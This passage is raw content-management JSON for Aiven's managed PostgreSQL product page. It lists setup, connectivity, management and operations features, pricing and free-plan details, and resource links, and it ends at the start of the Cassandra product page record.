UpCloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"19b6522d82b6","_type":"block","children":[{"_key":"986371207c5f0","_type":"span","marks":[],"text":"Select the Postgres pricing plan that best fits your needs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7419bab2c358","_type":"block","children":[{"_key":"374c08567ac2","_type":"span","marks":["280ba88fdeb5"],"text":"High availability"},{"_key":"438bb449cc52","_type":"span","marks":[],"text":" plans come with 1 or 2 standby nodes, which also act as read replicas"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"280ba88fdeb5","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/high-availability"}],"style":"normal"},{"_key":"ac054625cf00","_type":"block","children":[{"_key":"ca15900b56e5","_type":"span","marks":["33ad609da9f1"],"text":"High performance"},{"_key":"7cc3ccd5a100","_type":"span","marks":[],"text":" clusters based on carefully selected instance types and storage options - large 10TB storage capacity available"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"33ad609da9f1","_type":"internalLink","internalLink":{"_ref":"3yLuVWne7YQkrv7Uf5iokY","_type":"reference"}}],"style":"normal"},{"_key":"7a33002735f0","_type":"block","children":[{"_key":"e8e30c0435590","_type":"span","marks":[],"text":"Create a production-ready, hosted Postgres database in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4d79b4aa62f1","_type":"block","children":[{"_key":"8c5631b2b608","_type":"span","marks":[],"text":"Leverage your cloud account discounts with our "},{"_key":"23d9266a676a","_type":"span","marks":["2fb8fa328018"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"fada5add7103","_type":"span","marks":[],"text":" deployment model"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2fb8fa328018","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"How to set up PostgreSQL","variant":"mediaLeft","ytId":"tJfQMubaspg"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Connect to Postgres","text":[{"_key":"7dfbd19fe83f","_type":"block","children":[{"_key":"f0b89807efcb","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"8ed0cfd8457b1","_type":"span","marks":["a519815b74b1"],"text":"VPC peering"},{"_key":"8ed0cfd8457b2","_type":"span","marks":[],"text":", "},{"_key":"8ed0cfd8457b3","_type":"span","marks":["9da8d3647695"],"text":"PrivateLink"},{"_key":"8ed0cfd8457b4","_type":"span","marks":[],"text":", or "},{"_key":"8ed0cfd8457b5","_type":"span","marks":["64484a9a6974"],"text":"TransitGateway"},{"_key":"8ed0cfd8457b6","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a519815b74b1","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"9da8d3647695","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"64484a9a6974","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"4862cad9b37c","_type":"block","children":[{"_key":"75fdbc814abf0","_type":"span","marks":["bf124e9e3c99"],"text":"70+ PostgreSQL extensions"},{"_key":"75fdbc814abf1","_type":"span","marks":[],"text":" available including TimescaleDB"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bf124e9e3c99","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/reference/list-of-extensions"}],"style":"normal"},{"_key":"764756008b4e","_type":"block","children":[{"_key":"ec8af8a2975b0","_type":"span","marks":["db0ff236b780"],"text":"Connection pooling"},{"_key":"ec8af8a2975b1","_type":"span","marks":[],"text":" for easy management of client application connections"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db0ff236b780","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/pg-connection-pooling"}],"style":"normal"},{"_key":"072bbd128844","_type":"block","children":[{"_key":"f97ce429d183","_type":"span","marks":[],"text":"Use "},{"_key":"3fb699ad3b5a","_type":"span","marks":["88d61c12dee3"],"text":"Aiven for Valkey"},{"_key":"8ffa3dbd5c9e","_type":"span","marks":[],"text":" as a cache for PostgreSQL to optimize performance"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"88d61c12dee3","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"},{"_key":"040b00d10477","_type":"block","children":[{"_key":"c0d45a18e1c20","_type":"span","marks":[],"text":"Use Change Data Capture (CDC) to stream changes into "},{"_key":"7336bc84a305","_type":"span","marks":["e80308dd371d"],"text":"Aiven for Apache Kafka"},{"_key":"94cd33fb4687","_type":"span","marks":[],"text":" without impacting PostgreSQL performance"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e80308dd371d","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your infrastructure","variant":"mediaRight","ytId":"3H3PsPWFYmg"},{"_key":"b54ccb18eefa","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Managing Postgres","text":[{"_key":"cafca942a10f","_type":"block","children":[{"_key":"e7440a72bb340","_type":"span","marks":[],"text":"Manage your PostgreSQL cluster using Aiven Console (GUI), "},{"_key":"e7440a72bb341","_type":"span","marks":["5124d6ad1ec0"],"text":"CLI"},{"_key":"e7440a72bb342","_type":"span","marks":[],"text":", Terraform, or Kubernetes tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5124d6ad1ec0","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"65bad2564003","_type":"block","children":[{"_key":"08a8c920df440","_type":"span","marks":[],"text":"Scale, fork, upgrade, and create read replicas with the click of a mouse"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fbc77161f4e7","_type":"block","children":[{"_key":"79e1a16528ef0","_type":"span","marks":[],"text":"Guaranteed compatibility with "},{"_key":"c25b69ae9f5d","_type":"span","marks":["9f66885e285d"],"text":"open source software"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9f66885e285d","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"0b8886cf1a59","_type":"block","children":[{"_key":"1abb1623a48d","_type":"span","marks":["e487ab63984c"],"text":"Create read-replicas"},{"_key":"d501c09ab057","_type":"span","marks":[],"text":" to different clouds or regions for disaster recovery or geo-proximity"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e487ab63984c","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-read-replica"}],"style":"normal"},{"_key":"331dc813a272","_type":"block","children":[{"_key":"1d17d1527377","_type":"span","marks":["746cad901c8a"],"text":"Integrate"},{"_key":"b670628342c6","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use "},{"_key":"7909e7cb732c","_type":"span","marks":["e6de113905b6"],"text":"Aiven observability tools"},{"_key":"54168b0f60d9","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"746cad901c8a","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"e6de113905b6","_type":"internalLink","internalLink":{"_ref":"4355d09b-4181-4bab-b701-d160e07eb56e","_type":"reference"}}],"style":"normal"}],"title":"How to manage Postgres","variant":"mediaLeft","ytId":"e0ewtpEqtFQ"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":false,"rounded":false,"tagline":"Operating Postgres","text":[{"_key":"a80bc23df07e","_type":"block","children":[{"_key":"f065e8b36da7","_type":"span","marks":[],"text":"Self-healing platform with 99.99% uptime SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6588c96e259b","_type":"block","children":[{"_key":"2e81b63844140","_type":"span","marks":[],"text":"Zero downtime during scaling, "},{"_key":"c5b87b58c700","_type":"span","marks":["33f15f7264fb"],"text":"upgrading"},{"_key":"c1ac20f99b00","_type":"span","marks":[],"text":", and other management operations"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"33f15f7264fb","_type":"link","href":"https://aiven.io/docs/products/postgresql/howto/upgrade.html"}],"style":"normal"},{"_key":"f2b2ff87ca8e","_type":"block","children":[{"_key":"271fcedb03ed0","_type":"span","marks":[],"text":"Automatic backups with "},{"_key":"271fcedb03ed1","_type":"span","marks":["a4c18f02e74a"],"text":"Point-In-Time-Recovery support"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a4c18f02e74a","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-manual-backups"}],"style":"normal"},{"_key":"62c6fc9e5b1e","_type":"block","children":[{"_key":"3c58adba4ff80","_type":"span","marks":["6d6f2ab8ad87"],"text":"Secure and compliant solution"},{"_key":"e673b1fd03bc","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6d6f2ab8ad87","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"68ef65857d0b","_type":"block","children":[{"_key":"906b5a14a9570","_type":"span","marks":[],"text":"Option for 24/7 support from a 100% human support team"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to operate Postgres","variant":"mediaRight","ytId":"XyY5yiqGcC4"},{"_key":"a53fddfe9359","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"6ee17b57-d2f1-4fe9-aa9f-eb7cebe55d99","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none","topOverlap":false,"variant":"vertical"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"roundedCorners":"rounded-none","title":"Get your first cluster online now","variant":"centerColumn"},{"_key":"c910c11262daa77089a45b20656b8b6a","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},"subtitle":[{"_key":"52c20ea710a9","_type":"block","children":[{"_key":"8700b770195f","_type":"span","marks":[],"text":"Starting at just $0 a month for the "},{"_key":"4434989c0efc","_type":"span","marks":["24ac6645b956"],"text":"free PostgreSQL plan"},{"_key":"643e7e4b0074","_type":"span","marks":[],"text":", prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[{"_key":"24ac6645b956","_type":"link","href":"https://aiven.io/free-postgresql-database"}],"style":"normal"}],"tagline":"Aiven for PostgreSQL pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"42a177811c1a","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"c5b857609db4","_ref":"8a523089-6963-4c88-a767-1a29d588861c","_type":"reference"},{"_key":"f61ea0e5a8f2","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"4795542c2d2b","_type":"accordionItem","id":"pg-free-plan","panelText":[{"_key":"8383cdd6e261","_type":"block","children":[{"_key":"58435a3daa020","_type":"span","marks":[],"text":"The "},{"_key":"0bd7a20f55f0","_type":"span","marks":["4b8e3ea01c3e"],"text":"free PostgreSQL plan"},{"_key":"739d2a314647","_type":"span","marks":[],"text":" comes with the following specification:"}],"markDefs":[{"_key":"4b8e3ea01c3e","_type":"internalLink","internalLink":{"_ref":"142bd962-060f-4672-9ada-af1a246fc272","_type":"reference"}}],"style":"normal"},{"_key":"711f8a14cb8f","_type":"block","children":[{"_key":"83d28367f3950","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a1ce51b1cf93","_type":"block","children":[{"_key":"6bbed6d802210","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"606e5cb2dd24","_type":"block","children":[{"_key":"b74a7b55757f0","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a19d6e49d1a3","_type":"block","children":[{"_key":"510d5b51b7460","_type":"span","marks":[],"text":"5GB storage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5b45122d65e5","_type":"block","children":[{"_key":"bb96e7de35050","_type":"span","marks":[],"text":"Easy management via our web console, CLI, API, Terraform provider, or Kubernetes operator"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a65ebdc1b66b","_type":"block","children":[{"_key":"59dcb8e7b04e0","_type":"span","marks":[],"text":"Out-of-the-box monitoring (metrics and logs)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c104ab17d4e4","_type":"block","children":[{"_key":"088b5d09868f0","_type":"span","marks":[],"text":"Backups"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a04d4d9febfa","_type":"block","children":[{"_key":"fb27016507e80","_type":"span","marks":[],"text":"Community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"50b67a5f6929","_type":"block","children":[{"_key":"42529deaa9090","_type":"span","marks":[],"text":"However, some Aiven platform functionality is not available:"}],"markDefs":[],"style":"normal"},{"_key":"9c5eb5702a9f","_type":"block","children":[{"_key":"63ef74990db40","_type":"span","marks":[],"text":"No VPC peering, service integrations, or forking"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0c762d5d5643","_type":"block","children":[{"_key":"50c5b8eba94c0","_type":"span","marks":[],"text":"No connection pooling"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cf0dbba55281","_type":"block","children":[{"_key":"5c84555faf6d0","_type":"span","marks":[],"text":"Only community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02eb37f169a3","_type":"block","children":[{"_key":"e01520e8f44b0","_type":"span","marks":[],"text":"No 99.99% SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02b066f90639","_type":"block","children":[{"_key":"da297c47da1a0","_type":"span","marks":[],"text":"Only Digital Ocean"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd5982208426","_type":"block","children":[{"_key":"eb15e974f3190","_type":"span","marks":[],"text":"Only one service per service type per user and organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What’s included in the free PostgreSQL plan?"},{"_key":"1fcb2fac52e1","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":false,"headerPosition":"left","id":"pricing","items":[{"_key":"020fa1a22ee8","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free PostgreSQL plan"},"subtitle":[{"_key":"aa261ddb6683","_type":"table","rows":[{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Features",""]},{"_key":"527e10ce-e691-4e9a-9362-310a4cd57e2d","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","2"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6793f610-5198-453e-b5f9-db2044f56f7b","_type":"tableRow","cells":["Total storage","5 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","AWS with 9 regions all over the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Extensions (PostGIS, PL/v8, etc)","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Real-time backups to a remote location","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"cd4eea3a-50ca-4aba-b0ca-226ecabad3a8","_type":"tableRow","cells":["Restore to any point in time (PITR)","Single backup only for disaster recovery"]},{"_key":"e6bac5c7-311d-4cb9-ace6-1b5ecfd4ab35","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"Get started with a free plan","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=pg","title":"Compare plans and pricing"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"subtitle":[{"_key":"ab4f0355372d","_type":"block","children":[{"_key":"785ac162201b","_type":"span","marks":[],"text":"Starting at just $0 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost. Basic support is included in all the paid plans."}],"markDefs":[],"style":"normal"},{"_key":"fe3765ddbea1","_type":"block","children":[{"_key":"7011629bed18","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"40c188f91aae","_type":"block","children":[{"_key":"1d1588c55d48","_type":"span","marks":[],"text":"Private networking (VPC) and dedicated instances. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"93a28a6ba362","_type":"block","children":[{"_key":"a3a4c2ecefae","_type":"span","marks":[],"text":"Enjoy high availability on Business (2 nodes) and Premium (3 nodes) plans. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bcea01a87186","_type":"block","children":[{"_key":"2e3fa915ef27","_type":"span","marks":[],"text":"No add-on maintenance, networking, or storage fees."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use."},{"_key":"4f3d7857ad9059927e409f2215d4a37a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"left","id":"resources","items":[{"_key":"64f2b4e5ff25","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/developer/postgresql","title":"Developer center"},"subtitle":[{"_key":"6a786211ffa2","_type":"block","children":[{"_key":"1c3eaae73eea","_type":"span","marks":[],"text":"Explore developer guides and get hands-on with sample projects."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"5d466cf784ba","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/blog/category/postgresql","title":"Blog"},"subtitle":[{"_key":"c4dfce760bb4","_type":"block","children":[{"_key":"15fc98fad5cb","_type":"span","marks":[],"text":"Discover the latest features and product announcements for Aiven for PostgreSQL®."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"b1f567325a6a","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/case-studies?services=PostgreSQL%25C2%25AE","title":"Customer stories"},"subtitle":[{"_key":"3ed921b879c3","_type":"block","children":[{"_key":"2841163711bd","_type":"span","marks":[],"text":"Hear from our customers and learn how they use Aiven for PostgreSQL®."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"2954be36ed1a","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/resources?technology=postgresql","title":"PostgreSQL resources"},"subtitle":[{"_key":"9fcd47ed9a67","_type":"block","children":[{"_key":"e6d0bcff6aa4","_type":"span","marks":[],"text":"Discover our resource library and access PostgreSQL® related assets and learning material."}],"markDefs":[],"style":"normal"}],"variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl","subtitle":[{"_key":"37566a41ac0f","_type":"block","children":[{"_key":"0987cc33858d","_type":"span","marks":[],"text":"Dive deeper into what's new and learn how to make the most out of PostgreSQL®. Subscribe to get monthly updates delivered straight to your inbox."}],"markDefs":[],"style":"normal"},{"_key":"899ea08e57ba","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2023-10-20/t7d6j","iframeTitle":"Subscribe to PostgreSQL product updates","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","roundedCorners":"rounded-none"}],"title":"Stay updated"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql","title":"Go to docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"f2f579143f02","_type":"block","children":[{"_key":"ed3038ab733c0","_type":"span","marks":[],"text":"Getting started with Aiven for PostgreSQL, core concepts, how-to's and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"26123b48712f","_ref":"1vjknmEaGKkLhki8EC08Ua","_type":"reference"},{"_key":"2f31f74ad729","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-br"}],"infoBanner":{"_ref":"2628877d-b6aa-44a5-bbdb-26caa11abc5f","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for PostgreSQL – Managed Postgres database service with Postgres extensions, database forking, connection pooling.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-28932d4ef1d80f6633d8a67fb8d6f7d980736c32-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for PostgreSQL®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed PostgreSQL, PostgreSQL as a Service, Managed Postgres Database, Cloud PostgreSQL\",\n \"description\": \"Aiven for PostgreSQL combines the best open-source SQL database with global coverage on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud to provide a managed cloud PostgreSQL database.\",\n \"featureList\": \"Read only replicas, Remote read replicas, Logical replication, In-place major upgrades, PostgreSQL extensions, Connection pooling, Database forking, Point In Time Recovery, Terraform support, Aiven metrics integration, Aiven service log integration, VPC peering, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/postgresql\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source SQL database\",\n \"applicationSubCategory\": \"Relational Database Management System\"\n}","metaTitle":"Managed PostgreSQL service | Aiven"},"service":{"_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},"slug":{"_type":"slug","current":"/postgresql"},"title":"Postgresql"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T20:29:03Z","_id":"abf871eb-d0d0-4396-8768-51db839c21d4","_rev":"whpRLkwvxva49hcLZ6fAzy","_type":"product","_updatedAt":"2025-01-15T15:45:30Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Cassandra®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"bf339702aa7e","_type":"block","children":[{"_key":"110c173f91f90","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® is a fully managed, distributed NoSQL database providing scalability, high availability, and excellent fault tolerance."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-67a93efff22c31f3398dfda6484a11e49b2505f6-1600x1137-png","_type":"reference"}},"imageSize":"default","isImageLarge":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/cassandra","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/cassandra","title":"See docs"},"title":"Aiven for Apache Cassandra®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4","_type":"reference"},"title":"Aiven for Apache 